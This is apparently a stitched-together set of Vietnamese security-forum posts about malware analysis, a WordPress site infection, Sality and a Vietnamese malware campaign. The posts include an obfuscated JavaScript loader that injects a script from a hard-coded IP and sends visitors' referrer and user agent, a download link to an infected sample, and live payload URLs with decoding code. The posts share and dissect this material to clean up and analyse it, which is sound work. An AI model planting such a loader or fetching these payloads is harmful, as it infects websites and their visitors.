bantinbk wrote:

Sao mình còn lưu bộ Ollydbg tut của bạn kienmanowar tới 22 nhỉ, còn ghi chú từ được soạn từ ngày 27/01/2010 

Quá chuẩn . Đến tut22 thì do quá bận rộn nên đành tạm treo

Regards, 

Bạn có thể dùng `incrond`, tiếp theo là `watcher`. Hoặc "cao cấp" hơn là DRBD + GFS2.
 

cái này theo mình hiểu thì TCP là một kết nối 2 chiều vì thế cả client và server đều phải mở cổng để kết nối , số cổng client gửi ở lệnh PORT là cổng trên máy client (thường lớn hơn 1023) , server sau đó sẽ dùng cổng 20 của mình để kết nối đến cổng đó.  

acoustics89 wrote:

Ôi, các bạn đang nói về thầy mình
 

A, hoá ra trẻ tuổi acoustics89 trước học BK. ..  

Không biết ở đây còn nhận hàng không. Mình bị 1 con gì chả biết, nó lây lan trên website của mình, đây là đoạn mã của nó :

var _0x80d0=["\x64\x67\x6C\x6C\x68\x67\x75\x6B","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x32\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0x80d0[1]](_0x80d0[0]);if(!element){dawdafraawegdhdhd=document[_0x80d0[2]];gfjlhggfdghdd=escape(document[_0x80d0[3]]);hgfjkgkffgsdgd=escape(navigator[_0x80d0[4]]);var js=document[_0x80d0[6]](_0x80d0[5]);js[_0x80d0[7]]=_0x80d0[0];js[_0x80d0[8]]=_0x80d0[9]+gfjlhggfdghdd+_0x80d0[10]+dawdafraawegdhdhd+_0x80d0[11]+hgfjkgkffgsdgd;var head=document[_0x80d0[13]](_0x80d0[12])[0];head[_0x80d0[14]](js);} ;

Hiện tại mình đã hồi phục. Nhưng ko biết còn bị nữa không.

Bạn có thể cho mình biết cách nào nó đã lây vào các file *.js có trong host của mình không ? các file js đều là hàm chạy nội bộ chỉ xử lý animation, mình dùng wordpress.

Thân, 

nó không tốn ram như các chương trình virus. Trường hợp phần mềm virus bị nhiễm lun thì sao ? Lây lan toàn tập.
Bởi vì lúc ta đã xóa xong rút ra ngay thì ngăn chặn việc lưu trữ ( tạo) lại file autorun.inf 

Không biết mình hiểu bài viết của bạn như vầy có đúng không.

Khi cấu hình máy ảo xài card bridge như bạn thì máy ảo gần như là 1 máy client chạy song song với máy thật ( về khía cạnh mạng Lan). Nếu mình hiểu như thế là đúng, vậy làm sao đỡ được trường hợp Virus flood mạng Lan ? Dạng kiểu như các dòng misa.exe hoặc Kavo. Mình cũng gặp tình trạng 1 máy nào đó trong mạng lan thường xuyên broad cast các gói tin để truyền các mã độc trong môi trường Lan. Không biết anh em có ai rành loại này và cách khắc phục 

Thực ra các antivirus quét vùng nhớ được cấp phát cho máy ảo nên phát hiện ra thôi!
Nguy cơ nhiễm virus từ máy ảo khá cao, và thực tế đã có vài loại virus đã lây lan từ máy ảo qua máy thật. Tốt nhất nên dùng Ollydebug hoặc một tool nào đó khác chạy chương trình step by step phân tích thì hay hơn

- Ky0 -  

TheShinichi wrote:

khang0001 wrote:

mình có thói quen dùng máy ảo để test virut và xài soft có keygen hay patch. thế nhưng thỉnh thoảng vẫn thấy anti virut của mình báo là có virut dc phát hiện ở máy ảo. mình xài virturl box. cấu hình mạng xài nat, không share bất cứ folder nào ở máy chính cho máy ảo và ngược lại. mình nghĩ nếu virut mà bị phát hiện như thế thì các con virut mới hơn , qua mặt dc anti virut thì khả năng máy chính bị nhiễm khá cao. có pác nào có cao kiến gì để có thể test virut an toàn trong máy ảo không 

Bạn có thể mô tả chi tiếp phần màu đỏ không ? Mình chưa hình dung được ? 

có nghĩa là khi mình sữ dụng soft có crack hoặc lướt web thì trình anti virut của mình cảnh báo có 1 con virut abc gì gì đó ở trong máy ảo. và nó đã block . theo mình hiểu thì có thể con virut đó đã thoát ra khỏi máy ảo xâm nhập vào máy thật nên anti virut đã cảnh báo .
hình nè

 

Mấy bro BKIS này hèn vãi không ra mặt nhưng vẫn âm thầm theo dõi topic để update virus mới vào Database. đúng là miếng thịt ngon thì đớp chặt cục xương khó nhằn thì nhè ra.
 

Gửi các bro mẫu GoogleUpdate.exe, em check không thấy có Digital Sig

Scan trên VirusTotal thì ra 1 đống nhưng toàn là Virus Sality

http://www.virustotal.com/file-scan/report.html?id=f258be0f4ea0174f87731f0c879170ba162dcfba058bf9dd3c5aead98252fc0e-1314072852

http://www.mediafire.com/?k7xd7nj50bs59jv

(Chú ý: Các bạn không nên dơwnload File GoogleUpdate.exe này về máy, trừ khi muốn nghiên cứu một virus khác, virus "Sality".
Virus Sality có đăc điểm khi nhiễm vào máy sẽ tìm tất cả các file .exe trong máy và nhân bản virus. Virus lấy tên file nguyên bản mà nó vừa nhiễm vào. Vì vậy trong máy sẽ đầy rẫy các nhân bản virus Sality và hệ thông sẽ ngưng chạy-PXMMRF-HVA) 

Ừ, lạ ha ! Sao giờ decode lại được, lúc chiều wget về thì decode không được ?
Cảm ơn acoustics89 nhé !
À anh quên mất, hồi đó em có PM cho anh, anh xoá mất rồi. Mẫu nào download thằng top.jpg từ http://penop.net/top.jpg ?
Sẵn tiện acoustics89 xem lại hàm decode top.jpg của em luôn nhé, anh build hay dựa trên nó viết script đều decode không ra. 

fseek(f, 0, SEEK_END);
lSize = ftell(f);
fseek(f, 0, SEEK_SET);
pBuffer =(char*) malloc(lSize+1024);
if(pBuffer)
{
p = (char *)pBuffer+ 4;
memset(pBuffer, 0, lSize+1024);
fread((char*)pBuffer, lSize, 1, f);
for ( i = 8; i < lSize; ++i )
{
v24 = p[v7 % 4];
v23 = pBuffer[i];
v23 = (v24 ^ v23) % 256;
pBuffer[i] = v23;
v7++;
//v8 += v23 * v7++ % 7;
}
}
fclose(f);

Host second.dinest.net lại được stl đánh thức dậy để hoạt động.
xc.jpg tại: http://second.dinest.net/xc.jpg (User-Agent: An0nym0453) đã thay đổi cách mã hoá, nên tool decode lúc trước sẽ không decode hết được. Đang chờ đợi acoustics89 RE và cập nhật tool decode. 

Nowhereman wrote:

tôi xin có một vài ý ciến như sau :

a) STL là một tổ chức tội phạm việt nam sống dưới những tên cơ quan, tổ chức.
b) Chẳng có thàng tàu khựa nào tham gia vào vụ DDOS với mailwale made in Viêt cộng này cả .
c) Theo tôi kô nên sử dụng các phần mềm diệt virus trong nước, vì bạn thử nghĩ xem bao nhiêu người có thể ngờ rằng, nằm sâu thẳm trong linh hồn những phần mềm "bảo vệ" đó là vài dòng lệnh quản lý và điều hành mọi điều thuộc về bạn. ngay sau khi bạn click install ? .

>> trong một cuộc chiến, mọi bên đều có lý do; đúng, sai, phải trái = chịu!!! 

Thế dùng phần mềm nước ngoài thì đảm bảo là an toàn đấy. Nếu muốn an toàn thì tốt nhất là đừng dùng internet. 

Giờ này có lẽ HVA vẫn đang bị ddos anh Conmale nhỉ, em mới check lại cái second.dinest.net thì thấy đã trỏ sang 1 IP khác là 46.166.147.48 ở Ru.
 

Nhân bài báo cáo "Operation Shady RAT" của McAfee, phía Symantec cũng đưa ra một bản báo cáo, mà nếu đọc thì mọi người sẽ thấy nó cũng giống như những gì đang diễn ra ở HVA :

Code:

http://www.symantec.com/connect/blogs/truth-behind-shady-rat